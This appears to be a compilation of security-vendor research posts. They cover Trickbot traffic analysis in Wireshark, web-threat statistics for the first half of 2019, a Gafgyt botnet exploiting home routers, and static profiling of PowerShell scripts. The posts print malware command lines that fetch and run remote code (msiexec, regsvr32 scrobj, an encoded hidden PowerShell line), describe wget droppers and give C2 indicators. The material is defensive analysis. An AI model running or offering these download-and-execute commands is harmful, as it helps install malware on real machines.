HTTP POST requests ending in 81 send cached password data from web browsers, email clients, and other applications. HTTP POST requests ending in 83 send form data submitted by applications like web browsers. We can find system information sent through HTTP POST requests ending in 90. Follow the TCP or HTTP streams for any of these HTTP POST requests to review data stolen by this infection.

Figure 18: Login credentials stolen by Trickbot from the Chrome web browser. This data was sent by the Trickbot-infected host using HTTP traffic over TCP port 8082.

Figure 19: System data sent by a Trickbot-infected host using HTTP traffic over TCP port 8082. It starts with a list of running processes.

Figure 20: More system data sent by a Trickbot-infected host using HTTP traffic over TCP port 8082. This is later from the same HTTP stream that started in Figure 19.

Trickbot sends more Windows executable files over HTTP GET requests ending in .png. These follow-up Trickbot executables are used to infect a vulnerable domain controller (DC) when the infected Windows host is a client in an Active Directory environment.

You can find these URLs in the pcap by using the following Wireshark filter:

     http.request and ip contains .png

Figure 21: Filtering to find follow-up Trickbot EXE files sent using URLs ending with .png.

Follow the TCP or HTTP stream in each of the three requests as shown in Figure 21. You should see indicators of windows executable files similar to what we saw in Figure 9. However, in this case, the HTTP response headers identify the returned file as image/png even though it clearly is a Windows executable or DLL file.

Figure 22: Windows executable sent through URL ending in .png.

You can export these files from Wireshark, confirm they are Windows executable files, and get the SHA256 file hashes as we covered earlier in this tutorial.

Trickbot Distributed Through Other Malware

Trickbot is frequently distributed through other malware. Trickbot is commonly seen as follow-up malware to Emotet infections, but we have also seen it as follow-up malware from IcedID and Ursnif infections

Since Emotet frequently distributes Trickbot, lets review an Emotet with Trickbot infection in September 2019 documented here. We already covered Emotet with Trickbot infections last year in this Palo Alto Networks blog post, so this tutorial will focus on the Trickbot activity.


Figure 23: Simplified flow chart for Emotet with Trickbot activity.

Download the pcap from this page. The pcap is contained in a password-protected zip archive named 2019-09-25-Emotet-infection-with-Trickbot-in-AD-environment.pcap.zip. Extract the pcap from the zip archive using the password infected and open it in Wireshark. Use your basic filter to review the web-based infection traffic as shown in Figure 24.

Figure 24: Filtering on web traffic in an Emotet+Trickbot infection.

Experienced analysts can usually identify the Emotet-generated traffic and the Trickbot-generated traffic. Post-infection Emotet activity consists HTTP traffic with encoded data returned by the server. This is distinctly different than post-infection Trickbot activity which generally relies on HTTPS/SSL/TLS traffic for command and control communications. Figure 25 points out the different infection traffic between Emotet and Trickbot for this specific infection.

Figure 25: The differences in Emotet and Trickbot traffic.

This infection happened in an Active Directory environment with 10.9.25.102 as the infected Windows client and 10.9.25.9 as the DC. Later in the traffic, we see the DC exhibit signs of Trickbot infection as shown in Figure 26.

Figure 26: Trickbot activity on the DC.

How did the infection move from client to DC? Trickbot uses a version of the EternalBlue exploit to move laterally using Microsoft’s SMB protocol. In this case, the infected Windows client sent information several times over TCP port 445 to the DC at 10.9.25.9, which then retrieved a Trickbot executable from 185.98.87[.]185/wredneg2.png. Use the basic+ filter to see the SYN segments for the traffic between the client at 10.9.25.102 and the DC at 10.9.25.9 right before the DC calls out to 185.98.87[.]185 as shown in Figure 27

Figure 27: Finding traffic from the client at 10.9.25.102) to the DC at 10.9.25.9 (shown in grey) before the DC retrieved a Trickbot EXE from 196.98.87[.]185/wredneg2.png.

Follow one of the TCP streams, for example the line with a source as 10.9.25.102 over TCP port 49321 and destination as 10.9.35.9 over TCP port 445. This is highly unusual traffic for a client to send to a DC, so it is likely related to the EternalBlue exploit. See Figure 28 for an example of this traffic

Figure 28: Example of the unusual traffic from a client to DC over TCP port 445, possibly related to an EternalBlue-based exploit.

Other than this unusual SMB traffic and the DC getting infected, any Trickbot-specific activity in this pcap is remarkably similar to our previous example.

Conclusion

This tutorial provided tips for examining Windows infections with Trickbot malware by reviewing two pcaps from September 2019. More pcaps with recent examples of Trickbot activity can be found at malware-traffic-analysis.net.

For more help with Wireshark, see our previous tutorials:

 

Web-Based Threats: First Half 2019

Posted on by Fang Liu

Executive Summary

Our Unit 42 research team routinely evaluates the data from our Email Link Analysis (ELINK) system. In examining the data we collect, which includes URLs extracted from emails or submitted by API, we can identify patterns and trends which helps us discern prevalent web threats. This blog is the fifth installment in a series of posts tracking web-based threats over time, specifically, statistics pertaining to malicious URLs, domains, exploit kits, vulnerabilities, and phishing scams.

We observed a significant decrease in the activity of the Fallout exploit kit in the first quarter of 2019 while at the same time observing an increase in activity of the Kaixin exploit kit in the second quarter. Kaixin is primarily observed hosted in China and with the increased popularity of Kaixin activities, our data showed China as hosting the largest proportion of malware domains for the first time since we have been collecting this data.

Servers in the US continues to be the most voluminous in terms of hosting phishing domains, which are often disguised as legitimate websites to obtain sensitive information. Popular service providers for cloud based services (e.g., OneDrive, Office 365 and Google drive) are still the most often imitated by phishing webpages.

The statistics of the URLs presented in this blog are from ELINK system, which is a subset of all the URLs covered by PANDB and WildFire.

Malicious URLs and Domains

Malicious URLs

Based on the data from our ELINK system, we observed a substantial reduction of malicious URLs in Q1. Percentage-wise, total malicious URLs dropped 61% from the previous quarter. However, there was a major shift in Q2, with the number of malicious URLs returning to a similar level as Q4 of 2018. The main reason for the drastic shifts is the decline of Fallout exploit kit activity in Q1 and the increase of Kaixin exploit kit activity in Q2. More details are shown in Figure 1 below.

Figure 1. Malicious URLs from 2018 Q1 to 2019 Q2

Malicious Domains

We extract the domains hosting malicious URLs to keep track of trends at the domain level. We observed a 22% decline from Q4 of 2018 to Q1 of 2019 in the number of malicious domains. Similarly to malicious URLs, the number of domains hosting malicious URLs in Q2 of 2019 grew significantly, with a 90% increase from Q1 of 2019. More details are shown in Figure 2 below.

Figure 2. Malicious domains from 2018 Q1 to 2019 Q2

We also track the geographic locations of these malicious domains to provide information about where the malicious domains are most often hosted. This can potentially be a useful facet for malicious websites classification. It is not surprising to see that China, the United States, and Russia continue to be the top three countries hosting malicious domains in Q2 of 2019, as they have been the top three since we started publishing this report on web threats. The United States hosted the most malicious URLs until Q1 of 2019 but China overtook the United States in Q2 of 2019 due to the recent popularity of the Kaixin exploit kit. Russia has alternated between second and third place since Q1 of 2018. Compared to the top three other countries observed hosting malicious URLs and domains make up a relatively small percentage.

Figure 3. Malicious domains geolocation changes from 2018 Q1 to 2019 Q2

Vulnerabilities

The most popular vulnerabilities that attackers leverage in web-based attacks have not changed significantly since 2018. One trend we have noticed is that older vulnerabilities (e.g., CVE-2014-6332) are being phased out in favor of newer vulnerabilities (e.g., CVE-2018-8174). Compared to the older ones, new vulnerabilities are less likely to be patched on target systems.

Figure 4. Changes of Top CVEs triggered from 2018 Q1 to 2019 Q2

Below is the overview of the vulnerabilities that we observed were commonly exploited in 2019:

CVE-2008-4844: Use-after-free vulnerability in the CRecordInstance::TransferToDestination function in mshtml.dll in Microsoft Internet Explorer 5.01, 6, 6 SP1, and 7 allows remote attackers to execute arbitrary code via DSO bindings involving (1) an XML Island, (2) XML DSOs, or (3) Tabular Data Control (TDC) in a crafted HTML or XML document, as demonstrated by nested SPAN or MARQUEE elements, and exploited in the wild in December 2008.

CVE-2009-0075：Microsoft Internet Explorer 7 does not properly handle errors during attempted access to deleted objects, which allows remote attackers to execute arbitrary code via a crafted HTML document, related to CFunctionPointer and the appending of document objects, aka “Uninitialized Memory Corruption Vulnerability.”

CVE-2010-0806：Use-after-free vulnerability in the Peer Objects component (aka iepeers.dll) in Microsoft Internet Explorer 6, 6 SP1, and 7 allows remote attackers to execute arbitrary code via vectors involving access to an invalid pointer after the deletion of an object, as exploited in the wild in March 2010, aka “Uninitialized Memory Corruption Vulnerability.”

CVE-2012-1889：Microsoft XML Core Services 3.0, 4.0, 5.0, and 6.0 accesses uninitialized memory locations, which allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site.

CVE-2014-6332：OleAut32.dll in OLE in Microsoft Windows Server 2003 SP2, Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8, Windows 8.1, Windows Server 2012 Gold and R2, and Windows RT Gold and 8.1 allows remote attackers to execute arbitrary code via a crafted web site, as demonstrated by an array-redimensioning attempt that triggers improper handling of a size value in the SafeArrayDimen function, aka “Windows OLE Automation Array Remote Code Execution Vulnerability.”

CVE-2016-0189：The MicrosoftJScript 5.8 and VBScript 5.7 and 5.8 engines, as used in Internet Explorer 9 through 11 and other products, allow remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka “Scripting Engine Memory Corruption Vulnerability,” a different vulnerability than CVE-2016-0187.

CVE-2018-8174：A remote code execution vulnerability exists in the way that the VBScript engine handles objects in memory, aka “Windows VBScript Engine Remote Code Execution Vulnerability.” This affects Windows 7, Windows Server 2012 R2, Windows RT 8.1, Windows Server 2008, Windows Server 2012, Windows 8.1, Windows Server 2016, Windows Server 2008 R2, Windows 10, Windows 10 Servers.

Malware Behaviors

We observed malware authors tended to use built-in system programs (e.g., PowerShell, msiexec, rundll32, regsvr32, etc.) to execute malicious code after exploiting web-based vulnerabilities. As these programs are built into targeted systems, they enable attackers to install and execute malware in manners not directly involving malicious PE files. This technique helps malware authors potentially evade sandboxes and AV system. Examples of these more attacks are:

  • Malware can use msiexec (Windows Installer) to install a MSI package, which can include an executable file.
    > msiexec /i http://[hostname]/[path1]/[path2]/wco.msi
  • Malware can use "Windows Script Components" to run a script, which can execute system commands.
    > regsvr32 /u /s /i:http://[hostname]/1.sct scrobj.dll
  • Malware can use PowerShell to run an obfuscated PowerShell script.
    > powershell.exe -w hidden -noni -enc
    WwBSAGUAZgBdAC4AQQBzAHMAZQBtAGIAbAB5AC
    4ARwBlAHQAVAB5AHAAZQAoAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZ
    wBdADoAOgBBAFMAQwBJAEkALgBHAGUAdABTAHQAcgBpAG4A...

Malicious Websites Visits

In previous sections, we have summarized the behaviors of the URLs we have crawled and analyzed. Beside proactively analyzing websites and blocking detected malicious urls, we also block visits to malicious websites based on these websites’ web content when their URLs have never been analyzed by us before. The figure below presents the scaled number of blocked visits to new malicious websites from August 2018 to June 2019. Compared to Q4 of 2018, where the most common malicious websites that were visited/blocked by are with Angler Exploit Kit, in the first half-year of 2019, the exploit kits we observed were more diverse with more activities from Kaixin, Rig and Novidade.

Figure 5. Number of visits to malicious websites from 201808 to 201906

Phishing URLs and Domains

Phishing URLs

Since phishing detection was introduced in ELINK at the end of Q3 of 2018, ELINK has detected around 430,000 credential harvesting phishing URLs from emails and API submissions. The largest number of detections occurred in 2018 Q4 and we saw a decline in Q1 of 2019, but a comeback in Q2.

Figure 6. Phishing URLs Since 2018 Q4

Phishing Domains

The number of domains hosting phishing pages follows the same pattern of phishing URLs, except that the number of domains hosting phishing pages has a smaller variance from Q4 of 2018 to Q2 of 2019.

Figure 7. Phishing domains since 2018 Q4

We tracked the locations where the phishing domains are hosted as well. The United States continues to be the overriding country where phishing domains are hosted in Q2 of 2019. Over 40% of all phishing domains are hosted in the US. The Netherlands was ranked #2 over the last year but was overtaken by Germany in Q2 of 2019. France also grew fast and reached the same number of domains as Germany in Q2. Details are in Figure 8 below.

By comparing the distribution of phishing domains with that of malware, we find that attackers prefer hosting malware in China and Russia. The United States, however, is more popular for hosting phishing domains, with over 100 times as many domains hosted compared to Russia or China.

Figure 8. Geolocation distributions of phishing domains

Imitation Target

For each of the phishing URLs detected, we identify the industry that is mimicked by phishing page. In Figure 9 we show how these break down across the past three quarters. The Technology industry (e.g. Microsoft, Apple, Google) continues to be the most popularly imitated, making up over 60% of all phishing URLs. Compared with Q4 of 2018, logistics (e.g., DHL) overtakes banking and financial industries and ranks #2 in Q2 of 2019. Gaming (e,g, battle.net) and telecom (e.g., AT&T) became less popular in 2019 while we saw more imitation of Linkedin and Facebook websites this year.

Figure 9. Industries mimicked by Phishing

Phishing Sites Visits

Similar to malicious websites visits, we also track the trend of how many new phishing websites are visited/blocked each month from October 2018 to June 2019. The figure below presents the statistics of the blocked visits to new phishing websites, which our ELINK system had not already analyzed.

Compared to 2018, we see two spikes of visiting phishing websites in March 2019 and June 2019. The spikes are contributed mostly by users visiting free giveaway phishing scams. They contributed 25% of all phishing visits in March and over 30% of all phishing visits in June 2019. However, from the URLs we have analyzed, less than 0.2% of the phishing URLs are free giveaway phishing scams. One possible explanation is that users tend to visit free giveaway phishing websites much more than the phishing websites mimicking top tech companies, although these fake tech companies’ websites are much more widespread.

Another interesting finding is that, from Q4 of 2018 to Q2 of 2019, the visits of fake tech websites have dropped from 25% to 16%. However, the visits of free giveaway phishing websites have increased from 5% to 26% of all phishing visits, while the number of free giveaway phishing urls we see in ELINK system has not changed very much.

Figure 10. Number of visits to phishing websites from 201810 to 201906

Conclusion

Looking at the trend of the first half-year of 2019, we see a big reduction of both malware and phishing in Q1, followed by an increase in Q2. The United States remains the top hosting country/region for malicious and phishing domains.

Our ELINK system still observes 10-year-old vulnerabilities being exploited in the wild. However, the majority of the vulnerabilities observed were discovered within the last 5 years. WildFire and PanDB both have full coverage of these malicious URLs and samples.

Compared to malicious content, phishing is more popular for attackers. It is getting harder to compromise browsers or operating systems with software or system vulnerabilities. Compared to a system or a browser exploit, credential harvesting via phishing attacks may be more effective for an adversary to complete their objective. WildFire and PANDB both have full coverage of these phishing URLs.

Home & Small Office Wireless Routers Exploited to Attack Gaming Servers

Posted on by Asher Davila

Executive Summary

In September 2019, during the proactive IoT threat-hunting process conducted daily by the Unit 42 (formerly Zingbox security research) team, we discovered an updated Gafgyt variant attempting to infect IoT devices; specifically small office/home wireless routers of known commercial brands like Zyxel, Huawei, and Realtek. This Gafgyt variant is a competing botnet to the JenX botnet, which also uses remote code execution exploits to gain access and recruit routers into botnets to attack gaming servers - most notably those running the Valve Source engine - and cause a Denial of Service (DoS). This variant also competes against similar botnets, which we have found are frequently sold on Instagram. According to Shodan scans, there are more than 32,000 WiFi routers potentially vulnerable to these exploits around the world. Additionally, it abuses one more vulnerability than JenX does:

Targeted IoT Devices – Wi-Fi SOHO Routers

Starting in 2016, we’ve observed that wireless routers are one of the most common IoT devices in organizations across industries, making them targets for IoT botnets, degrading the production network and the reputation of the IP addresses of the affected company. Additionally, botnets gain access to IoT devices by using exploits instead of typical dictionary attacks (in which the botnet attempts to log in to the device via unsecured services such as telnet). This helps the botnet spread more easily through IoT devices even if administrators have disabled unsecured services and applied strong login passwords.

Gafgyt is a botnet that was uncovered in 2014 and has become popular for launching large-scale DDoS (distributed denial-of-service) attacks. Since then, many variants have evolved and targeted different types of devices in different industries. As it is known, there is a strong link between botnets and game servers. In the past, a similar variant called JenX was disclosed by Radware, which abuses of CVE-2017-17215 and CVE-2014-8361, which are present in the WiFi routers Huawei HG532 and Realtek RTL81XX respectively.

Our team uncovered an updated variant of Gafgyt malware (SHA256:676813ee73d382c08765a75204be8bab6bea730ff0073de10765091a8decdf07) derived from JenX variant, and after analyzing the sample, we identified that it targets three wireless router models (one more than the original JenX malware):

· Zyxel P660HN-T1A - Added in this variant.

· Huawei HG532 - Originally present in JenX

· Realtek RTL81XX - Originally present in JenX

It uses three “scanners” that attempt to exploit known remote code execution vulnerabilities present on the routers mentioned above. These scanners replace the typical dictionary attack commonly found in other IoT botnets.

Figure 1. Scanner functions found in the sample

Although previous Gafgyt variants have been exploiting vulnerabilities on wireless routers, this variant combines the next three specific exploits into a single instance:

· CVE-2017-18368 – ZYXEL P660HN-T1A

· CVE-2017-17215 – Huawei HG532

· CVE-2014-8361 – Realtek RTL81XX Chipset

The exploits were crafted to work as binary droppers, which pull the corresponding binary from a malicious server depending on the type of device it is trying to infect.

Exploit #1: CVE-2017-18368 – ZYXEL P660HN-T1A

The first exploit abuses a remote command injection on Zyxel P660HN wireless routers. This exploit was not previously used by its predecessor variant of JenX. The Zyxel P660HN-T1A distributed by TrueOnline has a command injection vulnerability in the remote system log forwarding function, which can be accessed by an unauthenticated user. The vulnerability is in the ViewLog.asp page and can be exploited through the remote_host parameter, as shown below.

 

The payload is inside the zyxelscanner_scanner_init() function:

Figure 2. Zyxel exploit found in zyxelscanner_scanner_init()

Exploit 2: CVE-2017-17215 - Huawei HG532

The second exploit abuses a remote code execution found on HG532 routers. An attacker can send malicious packets to TCP port 37215 to launch attacks. A successful exploit can lead to the remote execution of arbitrary code.

It’s possible to find the exploit in the huaweiscanner_scanner_init() function:

Figure 3. Huawei exploit found on huaweiscanner_scanner_init()

Exploit #3: CVE-2014-8361 – Realtek RTL81XX Chipset

This exploit consists of a serious flaw disclosed in 2014 in some Realtek routers that can lead to remote code execution. The miniigd SOAP service, implemented in Realtek SDK, allows remote attackers to execute arbitrary code via a crafted NewInternalClient request, shown below.

This third exploit can be found inside of the realtekscanner_scanner_init() function:

Figure 4. Realtek exploit found on realtekscanner_scanner_init()

Infection

This JenX variant uses the scanner functions mentioned previously to find machines to infect. Then, depending on the type of device it infects, it makes them download either an ARM7 or MIPS binary using wget, which is a computer program that pulls content from web servers.

Figure 5. Binary dropping – 185.172.110[.]224/mips and 185.172.110[.]224/arm7

Once the malware is running on a compromised device, it connects to a C2 server, which is the same as the binary dropper server, and sends the device information to join the botnet:

Figure 6. Connecting to a C2 server at 185.172.110[.]224 on TCP port 993

To join the botnet, the infected device sends some information about itself to the C2 server, such as its IP address and architecture. If no name is passed as an argument to the malware, it names it Unknown. Then, the C2 server replies with a PING command:

Figure 7. Assigning a name to the device to join the botnet

Figure 7. C2 response

Once the device joins the botnet, it starts receiving commands to perform various types of DoS attacks. These are explained in the following section.

DoS Attack Options

This Gafgyt variant can perform different types of DoS attacks simultaneously depending on the commands received from the C2 server. The main() function of the malware calls another function called processCmd() to process the command and initiate a corresponding attack. The following are some of the important attack options we identified:

· HTTP: It calls the SendHTTP() function to start an HTTP flooding attack. The function receives six parameters to perform the attack: http method, target host, port, file path, time to end, and iterations. Additionally, it randomly uses one of the User-Agents defined in the program to perform the attack.

· HTTPHex: Similar to HTTP, it calls the SendHTTPHex() function. This function requires the same parameters as the SendHTTP() function but instead of using a regular file path (like /index.html), it uses a garbage hexadecimal array to consume more resources on the server in an effort to exhaust all its resources.

· HTTPCF: This is an attack against services secured by Cloudflare.

· KILLER & KILLATTK: This option kills competing botnets that might already be in the currently infected device.

· VSE: This attack contains a payload to attack game servers running the Valve Source Engine.

Figure 8. Most notable commands present in this Gafgyt variant

The Gaming Industry Is Still the Target

As previously described, the VSE command starts an attack against gaming servers running the Valve Source engine. This engine runs games such as Half-Life and Team Fortress 2 among others. Note that this is not an attack on the Valve corporation itself because anyone can run a server for these games on their own network. It is an attack on the servers. The following is the payload used to attack these servers:

The payload is decoded as follows:

Figure 9. Decoded TSource Engine Query payload

This payload is widely used to cause a Distributed reflection Denial of Service (DrDoS), which involves multiple victim machines that unwittingly participate in a DDoS attack. The Source Engine Query is part of routine communications between clients and game servers using Valve software protocols. Requests to victim host machines are redirected, or reflected, from the victim hosts to the target. As a consequence, they also elicit an amplified amount of attack traffic, causing a DoS on the target host.

In addition, using the rest of DoS attack options, attackers are targeting other servers hosting widely played games such as Fortnite.

Social Networks as Malware Marketplaces

One of the attacks found in this sample looks for other competing botnets on the same device and tries to kill them so this will be the only botnet in which the device participates. To accomplish this, it looks for certain keywords and binary names present in other IoT botnet variants. They are divided into two sets of bin_names and bin_strings:

Figure 10. Binary names and substrings present in other IoT botnets

An interesting string that we were able to identify was chinese family, that is related to its predecessor JenX, which was distributed by the San Calvicie hacker group targeting servers hosting the game Grand Theft Auto: San Andreas. The JenX variant prints the string gosh that chinese family at the other table sure ate a lot.

Many of the strings were related to other IoT botnets such as Hakai, Miori, Satori, and the infamous Mirai. Some other strings are related to botnet builds that correspond to Instagram usernames.

Our research team contacted them using fake profiles and found that they are selling botnets in their Instagram profiles for low prices. They offered us a “spot” in their servers from $8 to $150 USD. A “spot” means that a person can pay them to add a set of IP addresses against which their already-working botnets will launch a DoS attack. They also offered us the source code for botnets at a wide range of prices depending on our budget and need. To note, Unit 42 has contacted the Instagram team and alerted them of these malicious profiles. Also, Unit 42 has reported the malicious websites they are using to manage their subscriptions to their botnets.

Figure 11. Instagram accounts selling botnets

Figure 12. Instagram account selling botnets against Fortnite

Figure 13. Instagram story of a malicious user

Some of the users have their own websites to manage their botnets subscriptions:

Figure 14. Login to the website

Figure 15. Dashboard to hire botnets

Figure 16. Highest prices called VIP spots

Conclusion

Our team found updated Gafgyt samples (derived from JenX variant) using exploits that abuse known vulnerabilities (some of which are more than 5 years old) in IoT devices to gain control and make them part of massive botnets that targets gaming servers, mainly for sabotage and revenge purposes. Wireless routers are widely used in all industries, making them common targets of these types of attacks and we’re constantly looking for new malware against which we can protect our customers. The diversity of hosts attacked by IoT botnets is wider than before and gaming servers have become a popular target. Likewise, common malware marketplaces used to be more underground like the dark web and underground forums, but now malware is being sold on social networks. Malware samples and DoS attack codes are easily available to anybody, and they can launch massive attacks for a few dollars without much if any previous technical knowledge. In short, an increase of IoT botnets sold on Instagram + low cost + RCE (remote code execution) exploits + the presence of wireless routers across all industries means that IoT devices are at increased risk of being recruited into botnets.

This formula shows why every type of industry must be aware of IoT security and implement measures to prevent devices on their network from getting compromised and degrading business continuity.

Indicators of Compromise

Original JenX sample

MD5: fb93601f8d4e0228276edff1c6fe635d

SHA256: 04463cd1a961f7cd1b77fe6c9e9f5e18b34633f303949a0bb07282dedcd8e9dc

Updated JenX Sample

MD5: f1c099d65bf94e009f5e65238caac468

SHA256: 676813ee73d382c08765a75204be8bab6bea730ff0073de10765091a8decdf07

 

Infrastructure

185.172.110[.]224:993

URLs

185.172.110[.]224/arm7

185.172.110[.]224/mips

User-Agents used in this sample for HTTP attacks

Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1

Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko)
Chrome/19.0.1084.56 Safari/536.5

Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko)
Chrome/20.0.1132.47 Safari/536.11

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML,
like Gecko) Version/5.1.7 Safari/534.57.2

Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML,
like Gecko) Chrome/20.0.1132.47 Safari/536.11

In addition to the user agents listed above, Gafgyt botnet variants use the User-Agent: Hello-World and User-Agent: Ankit to send the exploit requests in the scanner modules.

Practical Behavioral Profiling of PowerShell Scripts through Static Analysis (Part 3)

Posted on by Jeff White

Executive Summary

This 3-part blog series will focus on a practical approach to static analysis of PowerShell scripts and developing a platform-independent Python script to carry out this task. This is Part 3 of the series, but you can read Part 1 and Part  2 to get caught up.

In this final blog, I’ll walk through running the profiling script on samples and discuss how to interpret the output. Further, I’ll talk about a few observations I made along the way after going through building a script for static analysis, cover some ways in which I think the script can be leveraged by an organization, and then finally wrap up with providing the PowerShellProfiler.py script that has been discussed throughout this blog.

Introduction

For my testing, I used a sample set of around 5,000 PowerShell scripts that I manually classified - roughly 3,000 Benign, 2,000 Malicious PowerShell scripts. I then started to identify behaviors contained within for profiling, along with script characteristics or other features that could be used as a guide to adjust the scoring for behaviors. By using this approach to create a baseline, I was able to familiarize myself with common techniques and low-hanging fruit that I then incorporated into the profiling script. This allowed me to focus the bulk of my subsequent analysis time on the samples which fell below the malicious target score threshold of “6.0” to figure out what, if anything, could be learned from them to further enhance the profiling process.

Using PowerShellProfiler.py

First off, the profiling script can be retrieved from the Palo Alto Networks Unit42 GitHub. Inside you’ll find PowerShellProfiler.py.

To use PowerShellProfiler.py, simply provide a file as input by using the “-f” flag and it will produce output similar to the below.

The structure of the output is as follows:

Most of the fields are self-explanatory and the output is kept very simple for quick review. The “Proposed Risk Rating” field is derived from the gradient scale discussed in the first blog of this series and just offers guidance to the analyst as to what the risk may be at first glance. The “Score” field is an aggregate of the scores (positive and negative) seen in the “Behaviors” field found at the end of the output. Some behaviors will provide additional context, such as types of obfuscation and known malware families which can be seen in the example above.

Optionally, there is a debug flag (“-d”) that can be used to print debugging information which is useful when trying to see how the script was modified or review unraveled content. It simply prints out all of the content it discovered post-normalization and de-obfuscation, so it’s a good way to identify areas where you can look for new techniques for hiding code that need to be accounted for.

Stepping through Obfuscation

So what does this look like in action?

Using the file with the SHA256 hash of
“1b987ba4983d98a4c2776c8afb5aebbe418cdea1a7d4960c548fb947d404e4b2” from above, you can see two behaviors in the original content before anything else is processed. There are multiple dotNET methods related to Stream objects that it uses to deflate a Base64 string and then execute it. The keywords “Convert”, “FromBase64String”, and “Text.Encoding” trigger the flag for the “Compression” behavior and then “Invoke-Expression” triggers the Script Execution behavior.

Figure 9. Original PowerShell script

Once the script deflates the content, it will begin the processing looping back over to normalize, de-obfuscate, and unravel any additional content.

Figure 10. Decompressed script content

You can see by the obfuscation that it’s heavily utilizing the format operator replacement technique to hide strings. It’s also utilizing a number of string replacement functions which it will also attempt to run during processing. What we’re left with from the profiling scripts perspective is shown below.

Figure 11. PowerShell script with obfuscation removed

The remaining behaviors can be seen here. The keyword “downloadstring” triggers the “Downloader” behavior, “Start-Process” for “Starts Process” behavior, and finally “$env:username” for the “Enumeration” behavior.

The last two behaviors focus more on the structure of the content instead of a specific keyword combination. For the meta-behavior “One Liner”, it flags due to the original file being entirely on one line while the “Known Malware: Veil Stream” behavior is based on the following two lines found in the original PowerShell script:

These were identified through previous research and can be seen in the Veil Framework on GitHub for their PowerShell payload generation.

As the score is far above the target threshold of 6.0, it scores the file as likely Malicious.

General Observations about Static Analysis

I’ll briefly cover some general observations I’ve made after going through this exercise and talk about some of the reasons why a sample may not lend itself to profiling or otherwise prevent the profiling script from hitting the targeted threshold for malicious activity.

  • Remotely loading of content is a tactic more commonly seen in advanced attacks. Its purpose is to prevent exposure of the payload and prevent further analysis. In these cases, there may be little to no behavioral indicators beyond “Downloader” that trigger which is far too generic to be useful when inferring intent. Using keywords in the “Negative Context” will sometimes be the only feasible adjustment that can be made and should be used as a last resort due to the nightmare of managing word lists like this.
  • Mixed scripting languages are another area that can cause problems in determining intent due to the profiling script not being designed to de-obfuscate or normalize the other languages unique structures. When the obfuscation is more universal, such as Base64 or type conversion, it may still work to reveal contextual clues but in general it’s not to be relied upon. These mixed language scripts, such as JavaScript and VBS, will frequently leverage PowerShell for a specific functionality, or vice versa. These polyglot scripts create a hole in the visibility we have into the overall behaviors without extending the script to cover additional scripting languages.
  • Using complex REGEX patterns..they are a blessing and a curse. Since I’m trying to leave the patterns extremely loose so as to deal with the multitude of variations you’ll find in PowerShell, it leaves the door open for mistakes in matching. This includes content being missed for profiling, over-matching, or the matched content being changed in such a way that it no longer matches behaviors as expected. It’s a balancing act trying to find the sweet spot between identifying keywords no matter the obfuscation and avoiding false matches.
  • Static analysis, in general, can be thwarted by abusing the flexibility of PowerShell for more extreme obfuscation techniques which make programmatic approaches very challenging. When I stumble across these situations, there are usually meta-characteristics that can be identified since these samples stick out like a sore thumb but it’s something to be wary of and the scores might not reflect the true nature of the script.
  • Sometimes a PowerShell script on the surface doesn’t appear malicious in the terms I’ve established as “bad” and thus doesn’t score high, but in certain circles, the script may be considered as so. For example, a PowerShell script that changes the homepage for Internet Explorer every time a PC boots or a PowerShell script that profiles the network. Both things can be argued for and against as being Malicious at a high level but it helps to highlight that while context is important, context is also unique to the person interpreting the output.
  • PowerShell is an evolving language both in functionality created by Microsoft and as an attack platform. As more offensive tools get released and new capabilities are adopted, behavioral keywords can become stale, so it requires more attention to stay on top of how things change over time.
  • Opting to use a gradient scale for scoring instead of flat verdicts opens the door for ambiguity and it becomes increasingly difficult to measure the impact changes to the profiling script will have. During my development phase, I heavily leveraged my ground truth sample set to see how shifts in the score values of behaviors, the addition of new behaviors, and the addition of new unraveling or de-obfuscating functions impacted every file individually. Since the target threshold was relatively low (“6.0”), then it meant any change could have a significant impact in pushing samples in the wrong direction.

ScriptBlock Logging and Practical Use Cases

To pull everything together then, how might one utilize this PowerShell profiling script in real environments? I’ll present a few ideas that I have on the topic as I start winding down this blog series.

For starters, the most obvious usage is to run the script early in your incident response process to get a feel for the behaviors that may be present in the PowerShell script. The behaviors can then help guide further research and defensive measures you can take. If a sample exhibits a “Downloader” behavior, then you can quickly focus on the domains or IP addresses called from the script to begin searching your network logging for activity indicative of it. Similarly, if there are “Enumeration” behaviors or “Persistence” behaviors, then the processing of the PowerShell script may reveal registry keys and values, file names, file paths, or other unique features that can then be leveraged for further pivoting and hunting.

Another approach is utilizing the profiling script for the bulk scanning of PowerShell scripts in your environment. You can deploy the profiling script to host systems and run it locally, though I would not recommend it, or pull the PowerShell scripts back to a central location for scanning - like in the cases where files are backed up in central repositories, though it may miss PowerShell scripts in odd locations. Regardless of how you collect them, using tools like GNU Parallels will let you process hundreds of thousands of files relatively quickly. The average processing time for an individual PowerShell script in my sample set was around 2 milliseconds so it scales nicely based on available resources. Once the files are processed, you can use the scores or combinations of behaviors to hone in quickly on files for further investigation.

Lastly, I’ll talk about ScriptBlock logging. Let’s assume that collecting the scripts for local analysis is too cumbersome for some reason but your organization has a SIEM or some kind of log collection system actively ingesting logs from your endpoints. In this scenario, your organization is likely on at least PowerShell version 5.0 where Microsoft introduced a feature for script tracing and logging. If you’re not familiar with it, ScriptBlock logging is a feature that can be enabled on a host that logs the code blocks which PowerShell compiles and executes to the ETW event log (event ID 4104).

One major advantage to ScriptBlock logging is that when PowerShell compiles the code for execution, it can remove layers of obfuscation that the profiling script would otherwise attempt to do statically, but without the worry of “getting it right”. Another advantage is that it allows for a constant “stream” of events from across your fleet of systems that you can check in near real-time and design alerts around to more rapidly identify potentially compromised hosts.

